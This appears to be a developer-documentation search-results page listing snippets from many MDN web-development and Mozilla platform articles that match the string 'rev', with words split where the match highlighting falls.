revious overview: forms next with the basics out of the way, we'll now look in more detail at the elements used to provide structure and meaning to the different parts of a form.
... we already met this in the p
revious article.
... the <label> element as we saw in the p
revious article, the <label> element is the formal way to define a label for an html form widget.
...And 4 more matches
Creating hyperlinks - Learn web development
p
revious overview: introduction to html next hyperlinks are really important — they are what makes the web a web.
... note: a link title is only
revealed on mouse hover, which means that people relying on keyboard controls or touchscreens to navigate web pages will have difficulty accessing title information.
... relative url: points to a location that is relative to the file you are linking from, more like what we looked at in the p
revious section.
...And 4 more matches
Debugging HTML - Learn web development
p
revious overview: introduction to html next writing html is fine, but what if something goes wrong, and you can't work out where the error in the code is?
...let's look at an example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> </ul> let's
review the problems: the paragraph and list item elements have no closing tags.
...it is not easy to tell how this has been interpreted because of the p
revious problem.
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
p
revious overview: tables next in the second article in this module, we look at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
...we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out,
revisiting an example we first met in the p
revious article.
... the <tfoot> element needs to wrap the part of the table that is the footer — this might be a final row with items in the p
revious rows summed, for example.
...And 4 more matches
Index - Learn web development
53 graceful asynchronous programming with promises beginner, codingscripting, guide, javascript, learn, promises, async, asynchronous, catch, finally, then promises are a comparatively new feature of the javascript language that allow you to defer further actions until after a p
revious action has completed, or respond to its failure.
... 65 adding features to our bouncing balls demo assessment, beginner, codingscripting, javascript, learn, oojs, object-oriented, objects, l10n:priority in this assessment, you are expected to use the bouncing balls demo from the p
revious article as a starting point, and add some new and interesting features to it.
... 90 build your own function article, beginner, codingscripting, functions, guide, javascript, learn, tutorial, build, invoke, l10n:priority, parameters with most of the essential theory dealt with in the p
revious article, this article provides practical experience.
...And 4 more matches
Looping code - Learn web development
p
revious overview: building blocks next programming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete.
...if not, the loop will go on fo
rever, and either the browser will force it to stop, or it will crash.
...we already met this in the p
revious article when we looked at switch statements — when a case is met in a switch statement that matches the input expression, the break statement immediately exits the switch statement and moves onto the code after it.
...And 4 more matches
The business case for web performance - Learn web development
p
revious overview: performance we've discussed the importance of web performance.
... making performance a business priority we've discussed how prioritizing performance can improve user experience and therefore
revenue.
... we know that not prioritizing web performance can result in a loss of business
revenue.
...And 4 more matches
Introduction to automated testing - Learn web development
p
revious overview: cross browser testing next manually running tests on several browsers and devices, several times per day, can get tedious, and time-consuming.
... we agree — testing all the things we've looked at in p
revious articles manually can be a real pain.
... to begin with, create a test npm project using the procedure detailed at the bottom of the p
revious section.
...And 4 more matches
Setting up your own test automation environment - Learn web development
p
revious overview: cross browser testing in this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node.
... we will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the p
revious article.
...to install selenium-webdriver, run the following command, making sure you are inside your project folder: npm install selenium-webdriver note: it is still a good idea to follow these steps even if you p
reviously installed selenium-webdriver and downloaded the browser drivers.
...And 4 more matches
Deploying our app - Learn web development
p
revious overview: understanding client-side tools in the final article in our series, we take the example toolchain we built up in the p
revious article and add to it so that we can deploy our sample app.
... running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests p
revent deployment.
... actually deploying the updated code to a live url: or potentially a staging url so it can be
reviewed first.
...And 4 more matches
Package management basics - Learn web development
p
revious overview: understanding client-side tools next in this article we'll look at package managers in some detail to understand how we can use them in our own projects — to install project tool dependencies, keep them up-to-date, and more.
... a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in p
revious articles.
...as we touched on in the p
revious article, dependencies can be installed globally or locally to your project.
...And 4 more matches
Embedding Tips
how do i print p
review a page?
...call the nsiwebbrowserprint::printp
review() method supplying a print settings object (e.g.
... that returned from nsiwebbrowserprint::getglobalprintsettings()) that you wish to p
review the page with.
...And 4 more matches
IME handling guide
introduction ime is an abb
reviation of input method editor.
... editor/libeditor mozilla::edito
reventlistener listens for trusted dom compositionstart, text and compositionend events and notifies mozilla::editorbase and mozilla::texteditor of the events.
...this must be called after the p
revious imecontentobserver notified widget of notify_ime_of_blur.
...And 4 more matches
Application Translation with Mercurial
enabling mercurial queues (
revertable patches) some time will pass between the moment in which you start the localization, finish it, test it, improve it, upload it for
review and get
review (maybe not approved on first try).
...mercurial queues allow to
revert changes and also pull changes and reapply your local changes.
...this detects often more than 90 percent of the possible reasons for the
reviewer to not accept the patch.
...And 4 more matches
SVN for Localizers
brief intro to svn svn (abb
reviation for subversion) is a free and open source repository tool we use to manage the localized mozilla web pages.
... note: we use the terms stage and prod (abb
reviations of the terms staging and production) to refer to testing and publicly visible websites, respectively.
...go back to the root of your working directory and execute this command: svn
revert * this is a really helpful command because it
reverts all of your changes to your working directory's last updated state.
...And 4 more matches
Getting Started With NSS
a new set of samples is currently under development and
review, see create new nss samples.
...when you're satisfied with it, you'll need code
review.
... code
review http://phabricator.services.mozilla.com/ is our code
review tool, which uses your bugzilla account.
...And 4 more matches
NSS API Guidelines
the layer indicates the main layer, seen in the p
revious diagram, in which the library operates.
...nss_shutdown() closes these databases, to p
revent further access by an application.
...the preferred format is: "@(#) $rcsfile: nss-guidelines.html, v $ $
revision: 48936 $ $date: 2009-08-11 07:45:57 -0700 (tue, 11 aug 2009) $ $name$" you can put the string in a comment or in a static char array.
...And 4 more matches
NSS tools : certutil
if you create a new key pair for such a card, the p
revious pair is overwritten.
...be sure to p
revent unauthorized access to this file.
...this extension identifies the url of a certificate's associated certificate
revocation list (crl).
...And 4 more matches
certutil
if you create a new key pair for such a card, the p
revious pair is overwritten.
...be sure to p
revent unauthorized access to this file.
...this extension identifies the url of a certificate's associated certificate
revocation list (crl).
...And 4 more matches
SpiderMonkey 1.8.5
on other platforms, the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... spidermonkey 1.8.5 is not binary-compatible with p
revious releases, nor is it source-code compatible.
... p
revious versions of spidermonkey supported two types of native functions: jsnative and jsfastnative.
...And 4 more matches
Handling Mozilla Security Bugs
however, a security bug can
revert back to being a normal bug by having the "security-sensitive" flag removed, in which case the access control restrictions will no longer be in effect.
... super-
reviewers and drivers.
... expanding the mozilla security bug group as p
reviously described, the mozilla security module owner can select one or more peers to share the core work of coordinating investigation and resolution of mozilla security vulnerabilities, and will work with them to create some agreed-upon ground rules for how this work can be most effectively shared among themselves.
...And 4 more matches
Mozilla internal string guide
for example: void nsfoo::
reversecharacters(nsastring& str) { ...
... str.assign(
reversedstr); // modifies the string } this should not compile, because you're assigning to a const class: void nsfoo::
reversecharacters(const nsastring& str) { ...
... str.assign(
reversedstr); } as function parameters for methods which are exposed across modules, use nsastring references to pass strings.
...And 4 more matches
nsIDocShell
for a new document load, this will be the channel of the p
revious document until after onlocationchange fires.
... layouthistorystate nsilayouthistorystate loadedtransindex long keeps track of the p
revious shtransaction index and the current shtransaction index at the time that the doc shell begins to load.
... p
revioustransindex long keeps track of the p
revious shtransaction index and the current shtransaction index at the time that the doc shell begins to load.
...And 4 more matches
Drawing and Event Handling - Plugins
« p
reviousnext » this chapter tells how to determine whether a plug-in instance is windowed or windowless, how to draw and redraw plug-ins, and how to handle plug-in events.
...this value p
revents the instance from drawing further until it is pasted back on the page and npp_setwindow is called again with a new value.
... however, for the plug-in to draw at any other time, for example, to highlight on a mouse-down event or draw animation at idle time, it must save the current setting of the port, set up its drawing environment as appropriate, draw, and then restore the port to the p
revious settings.
...And 4 more matches
Applying styles and colors - Web APIs
« p
reviousnext » in the chapter about drawing shapes, we used only the default line and fill styles.
...this is what happens with the 1.0 width line in the p
revious example code.
... note also that only start and final endpoints of a path are affected: if a path is closed with closepath(), there's no start and final endpoint; instead, all endpoints in the path are connected to their attached p
revious and next segment using the current setting of the linejoin style, whose default value is miter, with the effect of automatically extending the outer borders of the connected segments to their intersection point, so that the rendered stroke will exactly cover full pixels centered at each endpoint if those connected segments are horizontal and/or vertical).
...And 4 more matches
Document.cookie - Web APIs
;samesite samesite p
revents the browser from sending this cookie along with cross-site requests.
...this is sufficient for user tracking, but it will p
revent many csrf attacks.
... the strict value will p
revent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.
...And 4 more matches
Event.cancelable - Web APIs
the cancelable read-only property of the event interface indicates whether the event can be canceled, and therefore p
revented as if the event never happened.
... event listeners that handle multiple kinds of events may want to check cancelable before invoking their p
reventdefault() methods.
...canceling the click, scroll, or beforeunload events would p
revent the user from clicking on something, scrolling the page, or navigating away from the page, respectively.
...And 4 more matches
Signaling and video calling - Web APIs
the "local_video" <video> element presents a p
review of the user's camera; specifiying the muted attribute, as we don't need to hear local audio in this p
review panel.
...this code generally handles text chat messages as it did p
reviously.
... we attach the incoming stream to the local p
review <video> element by setting the element's srcobject property.
...And 4 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
t = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the following line if you have p
reviously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart; spart = ""; for (nidx; nidx < ...
... callback arguments as p
reviously discussed, internet explorer versions 9 and below do not support the passing of arguments to the callback function in either settimeout() or setinterval().
... minidaemon.js /*\ |*| |*| :: minidaemon :: |*| |*|
revision #2 - september 26, 2014 |*| |*| /docs/web/api/window.setinterval |*| https://developer.mozilla.org/user:fusionchess |*| https://github.com/madmurphy/minidaemon.js |*| |*| this framework is released under the gnu lesser general public license, version 3 or later.
...And 4 more matches
Cognitive accessibility - Accessibility
for these users, the ability to read and understand may depend on the availability of specific definitions or the expanded forms of acronyms or abb
reviations.
... define abb
reviations abb
reviations can be confusing for people who: have difficulty decoding words.
... provide an expanded form of the abb
reviation the first time it is used, followed by the abb
reviation placed within an <abbr> element.
...And 4 more matches
Understandable - Accessibility
3.1.4 abb
reviations (aaa) where abb
reviations are used, you should provide an expansion of them, or a definition as required.
... the <abbr> element is often thought of as the preferred way to provide an expansion for an abb
reviation — it takes a title attribute that contains the expansion, and this appears when the acronym is moused over.
... see abb
reviations.
...And 4 more matches
HTML documentation index - HTML: Hypertext Markup Language
if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will p
revent form submission.
... 56 <abbr>: the abb
reviation element acronym, definitions, element, html, html text-level semantics, html:flow content, html:palpable content, html:phrasing content, reference, web, abbr, abb
reviation, semantics the html abb
reviation element (<abbr>) represents an abb
reviation or acronym; the optional title attribute can provide an expansion or description for the abb
reviation.
... 57 <acronym> element, html, html:flow content, obsolete, reference, web the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abb
reviation for a word.
...And 4 more matches
Functions - JavaScript
« p
reviousnext » functions are one of the fundamental building blocks in javascript.
... the
reverse, however, is not true.
...however, this is p
revented by the second line in this example: function multiply(a, b) { b = typeof b !== 'undefined' ?
...And 4 more matches
Working with objects - JavaScript
« p
reviousnext » javascript is designed on a simple object-based paradigm.
...r, this can be achieved with the following function: function listallproperties(o) { var objecttoinspect; var result = []; for(objecttoinspect = o; objecttoinspect !== null; objecttoinspect = object.getprototypeof(objecttoinspect)) { result = result.concat( object.getownpropertynames(objecttoinspect) ); } return result; } this can be useful to
reveal "hidden" properties (properties in the prototype chain which are not accessible through the object, because another property has the same name earlier in the prototype chain).
...then if you want to find out the name of the owner of car2, you can access the following property: car2.owner.name note that you can always add a property to a p
reviously defined object.
...And 4 more matches
Same-origin policy - Web security
sites can use the x-frame-options header to p
revent cross-origin framing.
... how to block cross-origin access to p
revent cross-origin writes, check an unguessable token in the request — known as a cross-site request forgery (csrf) token.
... you must p
revent cross-origin reads of pages that require this token.
...And 4 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
using the current firefox esr, stable version, or nightly is generally a better idea if given the option, but some users take fo
rever to upgrade.
...however, because it was implemented first for only file:// and resource:// but not chrome://, everyone who learned of this new feature learned that you had to load jsm from resource:// uris and just stuck with that fo
rever.
... step 2a: load your jsm from chrome:// now with that preface out of the way, this part is easy: drop support for firefox 3.x if you haven't already, move your jsm files to whe
rever you've got your chrome mapping to for your xul overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file.
...And 3 more matches
Intercepting Page Loads - Archive of obsolete content
« p
reviousnext » there are several ways to detect and intercept loading of web pages and their content, be it only to realize when it happens, modify their contents, or to block them and do something else instead.
...in the p
revious example, one of the first things we do is check if the url is of interest to us, otherwise we let it go.
... xpcom solutions there are a couple more solutions you may be interested in trying if the p
revious ones are insufficient.
...And 3 more matches
Useful Mozilla Community Sites - Archive of obsolete content
« p
revious the mozilla community is very rich and active.
...amo has a
review process that p
revents malicious, insecure or low quality extensions to make it to the public site.
... your extension begins in a sandbox with limited access, and once you nominate it an editor will
review it and see if it is appropriate for the public amo site, where everyone can see it and install it.
...And 3 more matches
Tabbed browser - Archive of obsolete content
window.open(url); } } } reusing by other criteria sometimes you want to reuse a p
reviously-opened tab regardless of which url/uri it displays.
...you can get it with win.gbrowser, where win is the browser's window from the p
revious step.
... if (!notificationcallbacks) return null; var domwin = notificationcallbacks.getinterface(components.interfaces.nsidomwindow); return gbrowser.getbrowserfordocument(domwin.top.document); } catch (e) { dump(e + "\n"); return null; } } getting the browser that fires the http-on-modify-request notification (example code updated for loadcontext) here an example of the p
revious section is shown.
...And 3 more matches
jspage - Archive of obsolete content
ion(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","
reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash...
...ttempt:browser.engine.gecko})()){l=false; }}}}return $extend(this,{event:a,type:j,page:i,client:c,rightclick:e,wheel:h,relatedtarget:l,target:g,code:b,key:m,shift:a.shiftkey,control:a.ctrlkey,alt:a.altkey,meta:a.metakey}); }});event.keys=new hash({enter:13,up:38,down:40,left:37,right:39,esc:27,space:32,backspace:8,tab:9,"delete":46});event.implement({stop:function(){return this.stoppropagation().p
reventdefault(); },stoppropagation:function(){if(this.event.stoppropagation){this.event.stoppropagation();}else{this.event.cancelbubble=true;}return this;},p
reventdefault:function(){if(this.event.p
reventdefault){this.event.p
reventdefault(); }else{this.event.returnvalue=false;}return this;}});function class(b){if(b instanceof function){b={initialize:b};}var a=function(){object.reset(this);if(a._protot...
...text:function(m,l){return this.grab(this.getdocument().newtextnode(m),l); },grab:function(m,l){a[l||"bottom"](document.id(m,true),this);return this;},inject:function(m,l){a[l||"bottom"](this,document.id(m,true));return this;},replaces:function(l){l=document.id(l,true); l.parentnode.replacechild(this,l);return this;},wraps:function(m,l){m=document.id(m,true);return this.replaces(m).grab(m,l);},getp
revious:function(l,m){return j(this,"p
revioussibling",null,l,false,m); },getallp
revious:function(l,m){return j(this,"p
revioussibling",null,l,true,m);},getnext:function(l,m){return j(this,"nextsibling",null,l,false,m);},getallnext:function(l,m){return j(this,"nextsibling",null,l,true,m); },getfirst:function(l,m){return j(this,"nextsibling","firstchild",l,false,m);},getlast:function(l,m){return j(this,...
...And 3 more matches
New Security Model for Web Services - Archive of obsolete content
when an attempt is made to access a resource at a p
reviously-unknown uri, the sandbox reads a file at that domain with declarations to determine whether access is permitted to the script.
... client-controlled solutions several client-controlled solutions have been designed to p
revent sandboxed applications loaded behind a firewall from compromising other resources protected behind the firewall.
... same source restriction by restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is p
revented from accessing resources in the domain into which it has been loaded.
...And 3 more matches
New Skin Notes - Archive of obsolete content
this is currently just a p
review, but we would appreciate help with testing.
...--callek is it possible to remove the blank space on category pages, like category:dom?by the way, it looks like this skin has the same problem as p
revious - the edit box, category list on category pages, and others are always below the end of the sidebar.
...--mmondor 12:52, 26 aug 2005 (pdt) will
revisit sidebar width later.
...And 3 more matches
Space Manager Detailed Design - Archive of obsolete content
// list of frames occupying the space }; bandrect(nscoord aleft, nscoord atop, nscoord aright, nscoord abottom, nsiframe*); bandrect(nscoord aleft, nscoord atop, nscoord aright, nscoord abottom, nsvoidarray*); ~bandrect(); // list operations bandrect* next() const {return (bandrect*)pr_next_link(this);} bandrect* p
rev() const {return (bandrect*)pr_p
rev_link(this);} void insertbefore(bandrect* abandrect) {pr_insert_before(abandrect, this);} void insertafter(bandrect* abandrect) {pr_insert_after(abandrect, this);} void remove() {pr_remove_link(this);} // split the band rect into two vertically, with this band rect becoming // the top part, and a new band rect being allocated a...
... frameinfo* getframeinfofor(nsiframe* aframe); frameinfo* createframeinfo(nsiframe* aframe, const nsrect& arect); void destroyframeinfo(frameinfo*); void clearframeinfo(); void clearbandrects(); bandrect* getnextband(const bandrect* abandrect) const; void divideband(bandrect* aband, nscoord abottom); prbool canjoinbands(bandrect* aband, bandrect* ap
revband); prbool joinbands(bandrect* aband, bandrect* ap
revband); void addrecttoband(bandrect* aband, bandrect* abandrect); void insertbandrect(bandrect* abandrect); nsresult getbandavailablespace(const bandrect* aband, nscoord ay, const nssize& amaxsize, nsban...
...space manager instances come and go pretty frequently, and this recycler p
revents excessive heap allocations and the performance penalties associated with it.
...And 3 more matches
PopupEvents - Archive of obsolete content
<panel id="time-panel" onpopupshowing="this.lastchild.value = (new date()).tolocaleformat('%t')"> <label value="time:"/> <label id="time"/> </panel> <toolbarbutton label="show time" popup="time-panel"/> you can p
revent a menu or popup from appearing by calling the p
reventdefault method of the event from within a popupshowing listener.
...the p
reventdefault method will stop this from happening and the popup will not be opened.
... <menu label="edit"> <menupopup onpopupshowing="if (gdisallowed) event.p
reventdefault();"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> in this example, a global variable gdisallowed is checked and the p
reventdefault method is called.
...And 3 more matches
Multiple Rules - Archive of obsolete content
« p
reviousnext » all of the examples shown so far have used only a single rule.
...the second rule does not contain a where element, so it matches results unconditionally, or any result that wasn't matched by a p
revious rule.
...adding to the p
revious example, here we check for people with a space in their name, and a total number of letters less than 15.
...And 3 more matches
Game monetization - Game development
advertisements instead of actively selling the games you can also try to get yourself a passive income — showing adverts and relying on p
revious activities related to promoting your game may benefit, but your game has to be addictive, which isn't as easy as it sounds.
... subscriptions there's also an option to get a passive, monthly
revenue via a subscription deal.
... ad
revenue you can implement advertisements in your game on your own and try to find the traffic to earn a bit, but you can also do a
revenue share deal with a publisher.
...And 3 more matches
Building up a basic demo with the PlayCanvas engine - Game development
let's start with the camera — add these lines to your code, below the p
revious ones.
...let's start by defining the geometry for a cube shape — add the following new code below your p
revious additions: var box = new pc.entity(); box.addcomponent("model", { type: "box" }); app.root.addchild(box); box.rotate(10, 15, 0); it will create an entity with the box model component and add it to the root of the application, our scene.
...again, add the new code below your p
revious additions.
...And 3 more matches
Bounce off the walls - Game development
« p
reviousnext » this is the 3rd step out of 10 of the gamedev canvas tutorial.
...we need to check, on every frame, whether the ball is touching the top edge of the canvas — if yes, we'll
reverse the ball movement so it will start to move in the opposite direction and stay within the visible boundaries.
... remembering that the coordinate system starts from the top left, we can come up with something like this: if(y + dy < 0) { dy = -dy; } if the y value of the ball position is lower than zero, change the direction of the movement on the y axis by setting it equal to itself,
reversed.
...And 3 more matches
Move the ball - Game development
« p
reviousnext » this is the 2nd step out of 10 of the gamedev canvas tutorial.
... you already know how to draw a ball from working through the p
revious article, so now let's make it move.
...the draw() function will be executed within setinterval every 10 miliseconds: function draw() { // drawing code } setinterval(draw, 10); thanks to the infinite nature of setinterval the draw() function will be called every 10 milliseconds fo
rever, or until we stop it.
...And 3 more matches
WAI-ARIA basics - Learn web development
p
revious overview: accessibility next following on from the p
revious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the p
revious articles in the course.
... enter wai-aria wai-aria (web accessibility initiative - accessible rich internet applications) is a specification written by the w3c, defining a set of additional html attributes that can be applied to elements to provide additional semantics and improve accessibility whe
rever it is lacking.
...And 3 more matches
Flexbox - Learn web development
p
revious overview: css layout next flexbox is a one-dimensional layout method for laying out items in rows or columns.
... note: you can also lay out flex items in a
reverse direction using the row-
reverse and column-
reverse values.
...first of all, try changing your flex-direction property value to row-
reverse — now you'll see that you still have your multiple row layout, but it starts from the opposite corner of the browser window and flows in
reverse.
...And 3 more matches
Legacy layout methods - Learn web development
p
revious overview: css layout next grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
...add the following rule below your p
revious one: .row { clear: both; } applying this clearing means that we don’t need to completely fill each row with elements making the full twelve columns.
... updating our grid to get started in this section, make a new copy of your p
revious example page, or make a local copy of our simple-grid-finished.html code to use as a starting point.
...And 3 more matches
How CSS is structured - Learn web development
p
revious overview: first steps next now that you are beginning to understanding the purpose and use of css, let's examine the structure of css.
...which selector p
revails?
... p { color: red; } p { color: blue; } however, in the case of our earlier example with the conflict between the class selector and the element selector, the class p
revails, rendering red paragraph text.
...And 3 more matches
Making asynchronous programming easier with async and await - Learn web development
p
revious overview: asynchronous next more recent additions to the javascript language are async functions and the await keyword, part of the so-called ecmascript 2017 javascript edition (see ecmascript next support in mozilla).
... rewriting promise code with async/await let's look back at a simple fetch example that we saw in the p
revious article: fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error!
... inside the myfetch() function definition you can see that the code closely resembles the p
revious promise version, but there are some differences.
...And 3 more matches
Making decisions in your code — conditionals - Learn web development
note:
review the material at the p
revious link if you want to refresh your memories on these.
...cheese available for making cheese on toast.'); } else { console.log('no cheese on toast for you today.'); } and, returning to our p
revious example about the child doing a chore for their parent, you could write it like this: let shoppingdone = false; if (shoppingdone) { // don't need to explicitly specify '=== true' let childsallowance = 10; } else { let childsallowance = 5; } nesting if ...
... to give you an and example, the p
revious example snippet can be rewritten to this: if (choice === 'sunny' && temperature < 86) { para.textcontent = 'it is ' + temperature + ' degrees outside — nice and sunny.
...And 3 more matches
Drawing graphics - Learn web development
p
revious overview: client-side web apis next the browser contains some very powerful graphics programming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl).
... add the following to the p
revious example, again below the p
revious javascript lines: ctx.strokestyle = 'rgb(255, 255, 255)'; ctx.strokerect(25, 25, 175, 200); the default width of strokes is 1 pixel; you can adjust the linewidth property value to change this (it takes a number representing the number of pixels wide the stroke is).
... add the following line in between the p
revious two lines: ctx.linewidth = 5; now you should see that your white outline has become much thicker!
...And 3 more matches
Object-oriented JavaScript for beginners - Learn web development
p
revious overview: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented programming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... replace your p
revious function with the following: function person(name) { this.name = name; this.greeting = function() { alert('hi!
... add the following lines below your p
revious code addition: let person1 = new person('bob'); let person2 = new person('sarah'); save your code and reload it in the browser, and try entering the following lines into your js console: person1.name person1.greeting() person2.name person2.greeting() cool!
...And 3 more matches
Introduction to the server side - Learn web development
as in the p
revious diagram, browsers send http requests to the server, then the server processes the requests and returns appropriate http responses.
... companies like amazon use server-side programming to construct search results for products, make targeted product suggestions based on client preferences and p
revious buying habits, simplify purchases, etc.
... a deeper analysis of user habits can be used to anticipate their interests and further customize responses and notifications, for example providing a list of p
reviously visited or popular locations you may want to look at on a map.
...And 3 more matches
Framework main features - Learn web development
p
revious overview: client-side javascript frameworks next each major javascript framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience.
... when used with react, the jsx from the p
revious snippet would be compiled into this: var subject = "world"; var header = react.createelement("header", null, react.createelement("h1", null, "hello, ", subject, "!") ); when ultimately rendered by the browser, the above snippet will produce html that looks like this: <header> <h1>hello, world!</h1> </header> handlebars the handlebars templating language is not specific to ember appli...
... writing components as mentioned in the p
revious chapter, most frameworks have some kind of component model.
...And 3 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
p
revious overview: client-side javascript frameworks next in the last article we added more features to our to-do list and started to organize our app into components.
... put the following contents inside it: <script> import { createeventdispatcher } from 'svelte' const dispatch = createeventdispatcher() let name = '' const addtodo = () => { dispatch('addtodo', name) name = '' } const oncancel = () => name = '' </script> <form on:submit|p
reventdefault={addtodo} on:keydown={e => e.key === 'escape' && oncancel()}> <h2 class="label-wrapper"> <label for="todo-0" class="label__lg">what needs to be done?</label> </h2> <input bind:value={name} type="text" id="todo-0" autocomplete="off" class="input input__lg" /> <button type="submit" disabled={!name} class="btn btn__primary btn__lg">add</button> </form> here we are binding th...
...nst dispatch = createeventdispatcher() let name = '' let nameel // reference to the name input dom node const addtodo = () => { dispatch('addtodo', name) name = '' nameel.focus() // give focus to the name input } const oncancel = () => { name = '' nameel.focus() // give focus to the name input } </script> <form on:submit|p
reventdefault={addtodo} on:keydown={e => e.key === 'escape' && oncancel()}> <h2 class="label-wrapper"> <label for="todo-0" class="label__lg">what needs to be done?</label> </h2> <input bind:value={name} bind:this={nameel} type="text" id="todo-0" autocomplete="off" class="input input__lg" /> <button type="submit" disabled={!name} class="btn btn__primary btn__lg">add</button> </form> try t...
...And 3 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
p
revious overview: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app.
...update the newtodo form's opening tag like so: <form on:submit|p
reventdefault={addtodo}> the on:eventname directive supports adding modifiers to the dom event with the | character.
... in this case, the p
reventdefault modifier tells svelte to generate the code to call event.p
reventdefault() before running the handler.
...And 3 more matches
Introduction to cross browser testing - Learn web development
troubleshooting javascript from p
revious topics to refresh your memory if needed).
...if you are working on a large project, you should be testing it regularly, to make sure that new features work for your target audience, and that new additions to the code don't break old features that were p
reviously working.
...the client might already have data about this from p
revious research they've done, e.g.
...And 3 more matches
Handling common JavaScript problems - Learn web development
p
revious overview: cross browser testing next now we'll look at common cross-browser javascript problems and how to fix them.
... fixing general javascript problems as we said in the p
revious article on html/css, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues.
...we'll break this down into: using modern core javascript features using modern web api features using bad browser sniffing code performance problems using modern javascript/api features in the p
revious article we described some of the ways in which html and css errors and unrecognized features can be handled due to the nature of the languages.
...And 3 more matches
Command line crash course - Learn web development
p
revious overview: understanding client-side tools next in your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" — these are effectively the same thing).
... try typing this into your system's terminal: cd desktop if you want to move back up to the p
revious directory, you can use two dots: cd ..
...they are pretty simple, so we won’t explain them all in quite as much detail as the p
revious couple.
...And 3 more matches
Gecko info for Windows accessibility vendors
in general we abb
reviate by removing redundant words.
... note that the label and description relations may be used to p
revent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an iaccessible.
... these relations can affect the calculation for the next next or p
revious item of a certain type.
...And 3 more matches
Creating a Language Pack
it is only useful if you want to p
review the contents of the mergedir.
... done unpacking let's check which
revision the binary was built from.
... $ make ident fx_
revision 237dccbcb967 buildid 20091126033851 you can now go back to your source hg clone.
...And 3 more matches
Storage access policy: Block cookies from trackers
second, firefox uses an additional "entity list", which p
revents domains from being classified as trackers when they are loaded on a top-level site owned by the same organization.
...this p
revents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties.
... the restrictions applied by the policy will not p
revent third-party scripts classified as tracking resources from accessing storage in the main context of the page.
...And 3 more matches
Patches and pushes
from the dropdown menu next to the
review flag.
... this will display a text box to assign the
review to someone.
...
review, commit, & land address any
review comments made by the
reviewers and update the patch until it receives an r+ rating.
...And 3 more matches
An overview of NSS Internals
many (if not most) of the operations performed by nss involve the use of x.509 certificates (often abb
reviated as “cert”, unfortunately making it easy to confuse with the term “computer emergency response team“).
...the intention is to make it easier to
review code for security.
... the less code that has access to raw secret keys, the less code that must be
reviewed.
...And 3 more matches
Python binding for NSS
project history red hat utilizes both nss and python in many of it's projects, however it was not p
reviously possible to call nss directly from python.
... other documentation the doc directory contains other files you may wish to
review.
... you may want to
review the getting mozilla source code using mercurial documentation for more information with working with mercurial.
...And 3 more matches
sslerr.html
ssl_error_
revoked_cert_alert -12270 "ssl peer rejected your certificate as
revoked." the remote system has received a certificate from the local system, and has determined that the certificate has been
revoked.
... sec_error_
revoked_certificate -8180 peer's certificate has been
revoked.
... sec_error_
revoked_key -8131 the key for this site's certificate has been
revoked.
...And 3 more matches
Scripting Java
so the p
revious example could be even shorter: js> java [javapackage java] we can access java classes simply by stepping down the package hierarchy: js> java.io.file [javaclass java.io.file] if your scripts access a lot of different java classes, it can get awkward to use the full package name of the class every time.
... the javaadapter constructor in the p
revious section we created java adapters using the new operator with java interfaces.
...most of the time the p
revious syntaxes using the new operator will be sufficient.
...And 3 more matches
Redis Tips
